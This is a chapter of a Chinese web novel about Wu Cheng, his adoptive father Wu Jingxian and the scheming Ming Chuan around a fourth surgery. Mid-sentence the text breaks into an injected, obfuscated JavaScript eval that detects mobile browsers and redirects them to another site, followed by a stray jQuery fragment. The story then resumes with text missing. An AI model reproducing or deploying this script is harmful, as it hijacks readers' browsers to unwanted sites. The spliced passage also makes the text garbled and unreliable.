巫丞感觉自己在做梦。
他以为第四次手术不会按期做,他以为巫敬贤会找理由延后。
包括由此引发的一些病症,都会被巫敬贤找理由搪塞过去,或者……不给他进行根本性治疗。
然后以他的性命为要挟,逼他说出杨光“死亡”的实情。
脑海中不自觉地回放起自他进家门后的种种温情碎片。
这是把他从肯布拉难民窟里领出来的养父,这是把他从泥里拉上云端的养父。
这是虽然在有些事上确实很笨拙,但无可置疑地爱着他的养父。
自己怎么能用那么阴暗的心理,去揣度他。
巫丞突然陷入一种巨大的自责和悔恨中,让他几乎无法保持站立。
他把刷到一半的碗筷放进水池,在毛巾上飞快蹭了一下双手,擦去水渍,几乎是扑跪到巫敬贤膝边,仰头看着他的养父,有些哽咽道:“有您陪着我,比谁都强。”
巫敬贤垂眼看着他的养子,神色是怜爱的。他摸了摸巫丞的发顶,叹息道:“你哥哥我找不回来了……父亲身边,从前,和往后,都只有你。”
巫敬贤张张嘴,似是还想再说什么,但终究没有说下去。
巫丞仰头凝望他的养父,突然发现,养父好像老了很多,两鬓竟然花白,眉眼更是爬满疲惫、老态。
他想到不知是否因他才人间蒸发的杨光、想到有意安排他回归皇室的生父,一时百感交集,又怕神色上露出什么马脚,便弯下脊背,伏在巫敬贤膝头,任巫敬贤一下一下抚摸自己的头发。
与养父这般亲近,还是第一次。
也是第一次如此直观、真切、强烈地感受到亲情。
美好得像小说里写的一样。
所谓“福祸相依”,便是如此吧。
夜深了,巫丞还翻来覆去睡不着。
可能是外卖油大又多盐,有点口干舌燥。他爬起来,蹑手蹑脚地去厨房冰箱找水喝。
刚拉开卧室门,便闻到一股烟味。那烟不呛,但不影响它的味道很浓。
巫丞没把卧室门全拉开,先倾身探了颗头出去——
父亲卧室的门敞着,窗帘也没拉,从巫丞的角度一眼就能看到床上。
没人。
巫丞垂眸思索一瞬,拉开卧室门走出去,不发出一点声响。
他张望,客厅沙发上好像没人。
脚步突然停下,后退。
人在书房。
窗外的暗淡夜色似要将书桌前沉默的人影吞没。那一点明灭的猩红,不知是呼救,还是抗争。
巫丞背靠在门外的墙上,凝视着黑暗悄无声息地吐息几次,向着书房转了一下脚尖,很快又转了回来。
他没去拿水,默默回到自己的卧室,悄无声息地关上房门。
[嗡——]
暗夜中的手机屏幕突然亮起。
同样睡不着,只是闭着眼睛干躺着的明川摸过手机。视线不经意扫到时间,03:28。
明川是躺在宿舍的床上。巫丞的床。
下了大巴告别盛情邀请的路十方,明川就独自转车回了学校。
他点开消息通知。
[丞哥哥:他现在还好吗?]
明川没好气地盯着屏幕,冷笑一声。
还行,没直接提名字,还没昏头。
不然这要是留在军校的网络监察记录里,将来被人翻出来,麻烦大了。
明川正要关掉手机扔一边,新消息突然消失,同时界面底部蹦出一条系统通知:
“丞哥哥”撤回了一条消息
明川冷着脸把手机屏按灭扔到枕头边。
再没有新的消息进来。
【他在问谁?】5x问。
明川没什么语气,【杨光。】
5x默了默,说:【你果然很了解他。】
5x曾经很不解明川为什么要死死捂着杨光的事,前后几次问过,为什么不把真相告诉巫丞,免得两人之间这么拧巴。
最开始的时候,明川是说,他跟巫丞拧巴的根源不在于杨光,而是他当前的身份,一个没权没势的平民,还是个Alpha。与巫丞的毕生追求无法兼容。
想靠常规手段刷好感,从路人进阶到友情再进阶到爱情,太漫长。搞不好巫丞根本不给他机会。
杨光的事正好可以作为一柄利刃,直接破掉巫丞的屏蔽罩,让他大摇大摆地走进去。
后来巫丞明显已经爱上明川,5x旧事重提,明川则是说,怕巫丞妇人之仁。
万一哪一天巫敬贤知道了杨光的存在,巫丞一定会忍不住把他知道的都告诉巫敬贤。
这不,刚回家一个晚上就开始圣母心泛滥,开始帮他的养父打听起那个对他有致命威胁的原少爷了。
这个时候把杨光的下落告诉巫敬贤,你能有好吗?啊?!
明川骑着被子默默气了会儿,又长叹一声软下来。
可这才是他喜欢的丞哥哥啊。
如果巫丞会为了权势而冷血无情,和安澜那个畜生有什么区别。
也不可能如此轻易地被自己掌控。
总归睡不着,明川点开宿主操作面板,复盘当前任务世界信息,推演接下来的行动策略。
他先看了看当前的任务进度:
进度条是没有的,好在终点明确:让巫丞为自己放弃毕生追求的权势。
完成状态为“否”。
“得到”了才能“放弃”,还没得到,怎么放弃。
明川兀自为自己的“歪理邪说”点头。
当然,除了弥补巫丞的私心,明川选择“迂回”策略还有另外一个原因——触发隐藏成就。
隐藏成就页面的右上方显示着:[17/?????],下方铺列着17个方形图标。
但这17个已经成功点亮的隐藏成就是什么,是在什么情况下触发的,什么条件下达成的,一概不显示。
明川当然试图观察新图标出现的时间点来逆推是什么事件触发了隐藏成就,但一番心力耗费下来,他发现新图标的出现并不是及时性的,貌似每个月才更新一次……
如果能展示已解锁的隐藏成就的相关信息,就可以找一下潜藏在其中的规律,或者说倾向,以方便触发更多的隐藏成就。但搞成这样,明川只能拼命折腾,以求瞎猫撞上死耗子。
半雾面的图标中间那个大大的“?”,简直像是一种挑衅和嘲讽。
甚是气人。
但最坑的还不是解锁隐藏成就,而是在众多的隐藏成就中,有一个,是关乎能否开启下一关任务的。如果任务完成时没能触发最关键的那一项隐藏成就,一切提前结束。
鬼知道那项隐藏成就会是什么!
最保险的策略,当然就是解锁所有隐藏成就,可[?????]代表的总量是多少根本无从推测。
要是一个“?”代表一位数,那真的是噩梦。
明川深吸一口气,双手拍拍自己的脸,压下所有的负面心绪,告诉自己:
不管怎么样,丞哥哥又回到你身边了。
这条回去的路再难走,他都是陪着你的。
-
巫敬贤开始四处打探杨光的消息,就在明川盗用巫敬贤的ID卡之后。明川很难不怀疑是自己哪里不小心惹出的麻烦。
这大半年巫敬贤不常在研究所露面,在杨光和皇帝私生子的事儿上,明川和巫丞又彼此隐瞒,做不到信息交换,明川只能从其他人下手,掌握巫敬贤的动向。
巫敬贤有三个助理,明川跟他们处得都很好。虽然还没弄清巫敬贤是怎么突然注意到杨光的存在的,但巫敬贤要趁假期给巫丞做最后一次性别改造手术这件事,很快就传到了明川耳朵里。
怪不得丞哥哥想跟自己打听杨光的下落。最后一次手术完成,就有望从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12254794|129567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
SA飞升成人上人的3SA,这么大的甜头,砸谁头上谁不迷糊。
何况是因为前世执念而一心渴望权势的丞哥哥。
指尖在桌面敲打,明川思索找个什么借口过去。
没想到巫敬贤主动打电话给他希望他过去帮忙。
第四次手术造成的创伤远比第三次轻。不是因为下的刀少了,只是因为现在的巫丞已经是SA的体魄。
麻醉一过,巫丞很快醒来。不像上次,在ICU昏睡三天。
他戴着氧气罩,缓慢转动着还有些浑浊的眼珠,看巫敬贤带着三个研究员查看各个监测仪器,问他一些问题。
他觉得自己的脑子很沉、很混沌,一思考似乎马上就要陷入沉睡,隔着口罩传入耳中的父亲的声音,像隔着海浪,遥远又嘈杂。
巫敬贤需要放慢语速,多次重复。
巫丞没有力气说话,只能点头,或是摇头。幅度很小。似是下一秒随时就要昏睡过去。
巫敬贤问完了,弯身摸摸少年的头顶,目光是慈爱的。
“好好休息。明川会留在这儿照顾你。”
巫丞视线模糊地看到巫敬贤的口罩动了动,可对方说了什么,他一个字都没听清。
他慢慢眨了一下眼,俨然就要抵挡不住汹涌袭来的倦意。
但潜意识中不想昏睡的念头叫他在一瞬间的失重错觉后,重又睁开困倦的眼。
他垂眼看着巫敬贤向床尾门边离去的背影,心头突然涌上一股巨大的失落——
父亲走了,没有人陪他了。
去年这个时候日夜守候在他身边的那个人,说放过他了……
他再不纠缠他了……
他不要他了……
就在鼻头微微酸起来时,纤长眼睫蓦地一颤,定住。
原本停留在床尾与人交代什么的巫敬贤开门离去,露出那个之前完全被他遮挡住的“小护士”。
“小护士”躬身送走巫敬贤一行,轻轻关上房门,转身望向病床上的人,快步走到床边。
“小护士”一身水绿色的无菌服,整个脑袋都被手术帽和口罩捂得严严实实,只露出一双眼睛。
但有那一双眼睛就够了。
他可以永远溺死在那双总似含着泪的多情眼中。
为什么你会在这里?
巫丞努力睁着眼,看他,唇瓣翕动,带着呼吸罩里一阵阵的雾气迷蒙。
双眼似被呼吸罩里的雾气熏蒸,蓦地就漫上一层水汽。
像只被主人丢弃过的狗,重新见到了它的主人。
一直拼命忍着不哭的明川对上巫丞眼神的一瞬间就忍不住了。
27个小时,872刀,3441针,这是把人切碎了重拼啊,凌迟也不过如此。
这样的罪,他的丞哥哥为了他,受了四次。
自己明明已经亲眼见过一次,为什么还能为了什么狗屁的任务这样对他的丞哥哥,害他这么难过?!
明川俯身,隔着口罩小心吻了下巫丞额头。
两滴冰凉的泪落在少年苍白憔悴的脸上。
他弯下双膝跪在床边,一手轻轻覆上巫丞的指尖,生怕力气大了碰疼了他。
“丞哥哥,你受苦了……”一句话触了闸,明川拼命忍耐的眼泪溪流似的往外淌。
“累了就睡吧。”
“我就在这儿守着你。哪儿都不去。”
巫敬贤做完术后清洗,疲惫至极地回到自己的办公室,一头栽在办公室里的单人床上。
闭眼休息片刻,他又爬起来,坐回办公桌边,打开电脑,调取ICU病房的监控,点开。
养子已经睡了,“小护士”在床边安安静静坐着。
巫敬贤盯着看了一分钟,点开页面侧边的“历史录像”,播放。
画面停留在明川俯身亲吻巫丞额头的那一幕。
一直缺少的那块拼图碎片,找到了。